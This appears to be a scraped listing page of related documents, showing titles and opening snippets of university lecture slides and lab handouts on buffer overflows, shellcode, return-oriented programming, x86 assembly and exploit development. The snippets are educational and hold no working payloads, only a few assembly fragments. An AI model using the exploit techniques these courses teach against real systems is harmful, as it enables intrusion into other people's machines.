20: Exploits and Containment 20: Exploits and Containment Mark Handley Andrea Bittau What is an exploit? Programs contain bugs. These bugs could have security implications (vulnerabilities) An exploit is a tool which exploits a vulnerability

More information

CSC 405 Computer Security Shellcode

CSC 405 Computer Security Shellcode CSC 405 Computer Security Shellcode Alexandros Kapravelos akaprav@ncsu.edu Attack plan Attack code Vulnerable code xor ebx, ebx xor eax, eax mov ebx,edi mov eax,edx sub eax,0x388 Vulnerable code xor ebx,

More information

Lecture 6: Buffer Overflow. CS 436/636/736 Spring Nitesh Saxena

Lecture 6: Buffer Overflow. CS 436/636/736 Spring Nitesh Saxena Lecture 6: Buffer Overflow CS 436/636/736 Spring 2016 Nitesh Saxena *Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit) HW3 submitted Course Admin Being graded Solution

More information

CSC 591 Systems Attacks and Defenses Return-into-libc & ROP

CSC 591 Systems Attacks and Defenses Return-into-libc & ROP CSC 591 Systems Attacks and Defenses Return-into-libc & ROP Alexandros Kapravelos akaprav@ncsu.edu NOEXEC (W^X) 0xFFFFFF Stack Heap BSS Data 0x000000 Code RW RX Deployment Linux (via PaX patches) OpenBSD

More information

CSC 2400: Computing Systems. X86 Assembly: Function Calls"

CSC 2400: Computing Systems. X86 Assembly: Function Calls CSC 24: Computing Systems X86 Assembly: Function Calls" 1 Lecture Goals! Challenges of supporting functions" Providing information for the called function" Function arguments and local variables" Allowing

More information

CNIT 127: Exploit Development. Ch 1: Before you begin. Updated

CNIT 127: Exploit Development. Ch 1: Before you begin. Updated CNIT 127: Exploit Development Ch 1: Before you begin Updated 1-14-16 Basic Concepts Vulnerability A flaw in a system that allows an attacker to do something the designer did not intend, such as Denial

More information

Lab 10: Introduction to x86 Assembly

Lab 10: Introduction to x86 Assembly CS342 Computer Security Handout # 8 Prof. Lyn Turbak Wednesday, Nov. 07, 2012 Wellesley College Revised Nov. 09, 2012 Lab 10: Introduction to x86 Assembly Revisions: Nov. 9 The sos O3.s file on p. 10 was

More information

Sungkyunkwan University

Sungkyunkwan University November, 1988 Internet Worm attacks thousands of Internet hosts. How did it happen? November, 1988 Internet Worm attacks thousands of Internet hosts. How did it happen? July, 1999 Microsoft launches MSN

More information

CSCE 548 Building Secure Software Buffer Overflow. Professor Lisa Luo Spring 2018

CSCE 548 Building Secure Software Buffer Overflow. Professor Lisa Luo Spring 2018 CSCE 548 Building Secure Software Buffer Overflow Professor Lisa Luo Spring 2018 Previous Class Virus vs. Worm vs. Trojan & Drive-by download Botnet & Rootkit Malware detection Scanner Polymorphic malware

More information

Assembly Programmer s View Lecture 4A Machine-Level Programming I: Introduction

Assembly Programmer s View Lecture 4A Machine-Level Programming I: Introduction Assembly Programmer s View Lecture 4A Machine-Level Programming I: Introduction E I P CPU isters Condition Codes Addresses Data Instructions Memory Object Code Program Data OS Data Topics Assembly Programmer

More information

Process Layout, Function Calls, and the Heap

Process Layout, Function Calls, and the Heap Process Layout, Function Calls, and the Heap CS 6 Spring 20 Prof. Vern Paxson TAs: Devdatta Akhawe, Mobin Javed, Matthias Vallentin January 9, 20 / 5 2 / 5 Outline Process Layout Function Calls The Heap

More information

CS 161 Computer Security. Week of January 22, 2018: GDB and x86 assembly

CS 161 Computer Security. Week of January 22, 2018: GDB and x86 assembly Raluca Popa Spring 2018 CS 161 Computer Security Discussion 1 Week of January 22, 2018: GDB and x86 assembly Objective: Studying memory vulnerabilities requires being able to read assembly and step through

More information

CSE509 System Security

CSE509 System Security CSE509 System Security Software Security Nick Nikiforakis nick@cs.stonybrook.edu Things we are going to discuss Basic x86 assembly instructions Stack workings GDB syntax Overflows Stack Heap Shellcode

More information

CIT 380: Securing Computer Systems. Software Security

CIT 380: Securing Computer Systems. Software Security CIT 380: Securing Computer Systems Software Security Topics 1. The problem of software security 2. System security standards 3. Secure lifecycle 4. Buffer overflows 5. Integer overflows 6. Format string

More information

Buffer overflows & friends CS642: Computer Security

Buffer overflows & friends CS642: Computer Security Buffer overflows & friends CS642: Computer Security Professor Ristenpart h9p://www.cs.wisc.edu/~rist/ rist at cs dot wisc dot edu University of Wisconsin CS 642 Homework 1 will be up tonight Low- level

More information

Security and Privacy in Computer Systems. Lecture 5: Application Program Security

Security and Privacy in Computer Systems. Lecture 5: Application Program Security CS 645 Security and Privacy in Computer Systems Lecture 5: Application Program Security Buffer overflow exploits More effective buffer overflow attacks Preventing buffer overflow attacks Announcement Project

More information

Buffer Overflow Attack

Buffer Overflow Attack Buffer Overflow Attack What every applicant for the hacker should know about the foundation of buffer overflow attacks By (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 9 5 Abstract Buffer overflow.

More information

ISA564 SECURITY LAB. Shellcode. George Mason University

ISA564 SECURITY LAB. Shellcode. George Mason University ISA564 SECURITY LAB Shellcode George Mason University Outline Shellcode Basics Advanced Shellcode What is shellcode? Machine code used as the payload in the exploitation of a software bug Whenever altering

More information

Exercise 6: Buffer Overflow and return-into-libc Attacks

Exercise 6: Buffer Overflow and return-into-libc Attacks Technische Universität Darmstadt Fachbereich Informatik System Security Lab Prof. Dr.-Ing. Ahmad-Reza Sadeghi M.Sc. David Gens Exercise 6: Buffer Overflow and return-into-libc Attacks Course Secure, Trusted

More information

x86 assembly CS449 Fall 2017

x86 assembly CS449 Fall 2017 x86 assembly CS449 Fall 2017 x86 is a CISC CISC (Complex Instruction Set Computer) e.g. x86 Hundreds of (complex) instructions Only a handful of registers RISC (Reduced Instruction Set Computer) e.g. MIPS

More information

Buffer Overflow Attack

Buffer Overflow Attack Chapter 4 This is a sample chapter in the book titled "Computer Security: A Hands-on Approach" authored by Wenliang Du. Buffer Overflow Attack From Morris worm in 1988, Code Red worm in 2001, SQL Slammer

More information

Procedure Calls. Young W. Lim Mon. Young W. Lim Procedure Calls Mon 1 / 29

Procedure Calls. Young W. Lim Mon. Young W. Lim Procedure Calls Mon 1 / 29 Procedure Calls Young W. Lim 2017-08-21 Mon Young W. Lim Procedure Calls 2017-08-21 Mon 1 / 29 Outline 1 Introduction Based on Stack Background Transferring Control Register Usage Conventions Procedure

More information

Return-orientated Programming

Return-orientated Programming Return-orientated Programming or The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) Hovav Shacham, CCS '07 Return-Oriented oriented Programming programming

More information

Buffer overflow is still one of the most common vulnerabilities being discovered and exploited in commodity software.

Buffer overflow is still one of the most common vulnerabilities being discovered and exploited in commodity software. Outline Morris Worm (1998) Infamous attacks Secure Programming Lecture 4: Memory Corruption II (Stack Overflows) David Aspinall, Informatics @ Edinburgh 23rd January 2014 Recap Simple overflow exploit

More information

Buffer overflow background

Buffer overflow background and heap buffer background Comp Sci 3600 Security Heap Outline and heap buffer Heap 1 and heap 2 3 buffer 4 5 Heap Outline and heap buffer Heap 1 and heap 2 3 buffer 4 5 Heap Address Space and heap buffer

More information

X86 Review Process Layout, ISA, etc. CS642: Computer Security. Drew Davidson

X86 Review Process Layout, ISA, etc. CS642: Computer Security. Drew Davidson X86 Review Process Layout, ISA, etc. CS642: Computer Security Drew Davidson davidson@cs.wisc.edu From Last Time ACL-based permissions (UNIX style) Read, Write, execute can be restricted on users and groups

More information

ROP It Like It s Hot!

ROP It Like It s Hot! Wednesday, December 3, 14 2014 Red Canari, Inc. All rights reserved. 1 I N F O R M AT I O N S E C U R I T Y ROP It Like It s Hot! A 101 on Buffer Overflows, Return Oriented Programming, & Shell- code Development

More information

Computer Systems CEN591(502) Fall 2011

Computer Systems CEN591(502) Fall 2011 Computer Systems CEN591(502) Fall 2011 Sandeep K. S. Gupta Arizona State University 9 th lecture Machine-Level Programming (4) (Slides adapted from CSAPP) Announcements Potentially Makeup Classes on Sat

More information

An Experience Like No Other. Stack Discipline Aug. 30, 2006

An Experience Like No Other. Stack Discipline Aug. 30, 2006 15-410 An Experience Like No Other Discipline Aug. 30, 2006 Bruce Maggs Dave Eckhardt Slides originally stolen from 15-213 15-410, F 06 Synchronization Registration If you're here but not registered, please

More information

CPEG421/621 Tutorial

CPEG421/621 Tutorial CPEG421/621 Tutorial Compiler data representation system call interface calling convention Assembler object file format object code model Linker program initialization exception handling relocation model

More information

Intel assembly language using gcc

Intel assembly language using gcc QOTD Intel assembly language using gcc Assembly language programming is difficult. Make no mistake about that. It is not for wimps and weaklings. - Tanenbaum s 6th, page 519 These notes are a supplement

More information

buffer overflow exploitation

buffer overflow exploitation buffer overflow exploitation Samuele Andreoli, Nicolò Fornari, Giuseppe Vitto May 11, 2016 University of Trento Introduction 1 introduction A Buffer Overflow is an anomaly where a program, while writing

More information

Foundations of Network and Computer Security

Foundations of Network and Computer Security Foundations of Network and Computer Security John Black Lecture #18 Oct 28 th 2004 CSCI 6268/TLEN 5831, Fall 2004 Announcements Quiz #3 Thurs, Nov 4 th A week from today How to Derive Shell Code? Write

More information

Smashing the Buffer. Miroslav Štampar

Smashing the Buffer. Miroslav Štampar Smashing the Buffer Miroslav Štampar (mstampar@zsis.hr) Summary BSidesVienna 2014, Vienna (Austria) November 22nd, 2014 2 Buffer overflow (a.k.a.) Buffer overrun An anomaly where a program, while writing

More information

Instruction Set Architecture

Instruction Set Architecture CS:APP Chapter 4 Computer Architecture Instruction Set Architecture Randal E. Bryant Carnegie Mellon University http://csapp.cs.cmu.edu CS:APP Instruction Set Architecture Assembly Language View Processor

More information

Instruction Set Architecture

Instruction Set Architecture CS:APP Chapter 4 Computer Architecture Instruction Set Architecture Randal E. Bryant Carnegie Mellon University http://csapp.cs.cmu.edu CS:APP Instruction Set Architecture Assembly Language View! Processor

More information

Practical Malware Analysis

Practical Malware Analysis Practical Malware Analysis Ch 4: A Crash Course in x86 Disassembly Revised 1-16-7 Basic Techniques Basic static analysis Looks at malware from the outside Basic dynamic analysis Only shows you how the

More information

Software Security II: Memory Errors - Attacks & Defenses

Software Security II: Memory Errors - Attacks & Defenses 1 Software Security II: Memory Errors - Attacks & Defenses Chengyu Song Slides modified from Dawn Song 2 Administrivia Lab1 Writeup 3 Buffer overflow Out-of-bound memory writes (mostly sequential) Allow

More information

Buffer Overflow Vulnerability Lab Due: September 06, 2018, Thursday (Noon) Submit your lab report through to

Buffer Overflow Vulnerability Lab Due: September 06, 2018, Thursday (Noon) Submit your lab report through  to CPSC 8810 Fall 2018 Lab 1 1 Buffer Overflow Vulnerability Lab Due: September 06, 2018, Thursday (Noon) Submit your lab report through email to lcheng2@clemson.edu Copyright c 2006-2014 Wenliang Du, Syracuse

More information

Software Security: Buffer Overflow Defenses

Software Security: Buffer Overflow Defenses CSE 484 / CSE M 584: Computer Security and Privacy Software Security: Buffer Overflow Defenses Fall 2017 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin,

More information

Buffer overflow risks have been known for over 30 years. Is it still a problem? Try searching at to see.

Buffer overflow risks have been known for over 30 years. Is it still a problem? Try searching at   to see. Memory corruption recap Other memory corruption errors Secure Programming Lecture 5: Memory Corruption III (Countermeasures) David Aspinall, Informatics @ Edinburgh 1st February 2018 Buffer overflow is

More information

CIT 480: Securing Computer Systems. Software Security

CIT 480: Securing Computer Systems. Software Security CIT 480: Securing Computer Systems Software Security Topics 1. The problem of software security 2. System security standards 3. Secure lifecycle 4. Buffer overflows 5. Integer overflows 6. Format string

More information

ECS 153 Discussion Section. April 6, 2015

ECS 153 Discussion Section. April 6, 2015 ECS 153 Discussion Section April 6, 2015 1 What We ll Cover Goal: To discuss buffer overflows in detail Stack- based buffer overflows Smashing the stack : execution from the stack ARC (or return- to- libc)

More information

Secure Programming Lecture 5: Memory Corruption III (Countermeasures)

Secure Programming Lecture 5: Memory Corruption III (Countermeasures) Secure Programming Lecture 5: Memory Corruption III (Countermeasures) David Aspinall, Informatics @ Edinburgh 1st February 2018 Memory corruption recap Buffer overflow is still one of the most common vulnerabilities

More information

Memory corruption countermeasures

Memory corruption countermeasures Secure Programming Lecture 6: Memory Corruption IV (Countermeasures) David Aspinall, Informatics @ Edinburgh 30th January 2014 Outline Announcement Recap Containment and curtailment Stack tamper detection

More information

Advanced Buffer Overflow

Advanced Buffer Overflow Pattern Recognition and Applications Lab Advanced Buffer Overflow Ing. Davide Maiorca, Ph.D. davide.maiorca@diee.unica.it Computer Security A.Y. 2016/2017 Department of Electrical and Electronic Engineering

More information

Procedure Calls. Young W. Lim Sat. Young W. Lim Procedure Calls Sat 1 / 27

Procedure Calls. Young W. Lim Sat. Young W. Lim Procedure Calls Sat 1 / 27 Procedure Calls Young W. Lim 2016-11-05 Sat Young W. Lim Procedure Calls 2016-11-05 Sat 1 / 27 Outline 1 Introduction References Stack Background Transferring Control Register Usage Conventions Procedure

More information

logistics LEX assignment out exam in on week come with questions on Monday (review)

logistics LEX assignment out exam in on week come with questions on Monday (review) Stack Smashing 1 logistics 2 LEX assignment out exam in on week come with questions on Monday (review) last few times encrypted code changing code polymorphic, metamorphic anti-vm/emulation anti-debugging

More information

CSC 2400: Computing Systems. X86 Assembly: Function Calls

CSC 2400: Computing Systems. X86 Assembly: Function Calls CSC 24: Computing Systems X86 Assembly: Function Calls 1 Lecture Goals Challenges of supporting functions Providing information for the called function Function arguments and local variables Allowing the

More information

CS 31: Intro to Systems Functions and the Stack. Martin Gagne Swarthmore College February 23, 2016

CS 31: Intro to Systems Functions and the Stack. Martin Gagne Swarthmore College February 23, 2016 CS 31: Intro to Systems Functions and the Stack Martin Gagne Swarthmore College February 23, 2016 Reminders Late policy: you do not have to send me an email to inform me of a late submission before the

More information

Lecture Embedded System Security A. R. Darmstadt, Runtime Attacks

Lecture Embedded System Security A. R. Darmstadt, Runtime Attacks 2 ARM stands for Advanced RISC Machine Application area: Embedded systems Mobile phones, smartphones (Apple iphone, Google Android), music players, tablets, and some netbooks Advantage: Low power consumption

More information

Memory Corruption Vulnerabilities, Part I

Memory Corruption Vulnerabilities, Part I Memory Corruption Vulnerabilities, Part I Gang Tan Penn State University Spring 2019 CMPSC 447, Software Security Some Terminology Software error A programming mistake that make the software not meet its

More information

CNIT 127: Exploit Development. Ch 3: Shellcode. Updated

CNIT 127: Exploit Development. Ch 3: Shellcode. Updated CNIT 127: Exploit Development Ch 3: Shellcode Updated 1-30-17 Topics Protection rings Syscalls Shellcode nasm Assembler ld GNU Linker objdump to see contents of object files strace System Call Tracer Removing

More information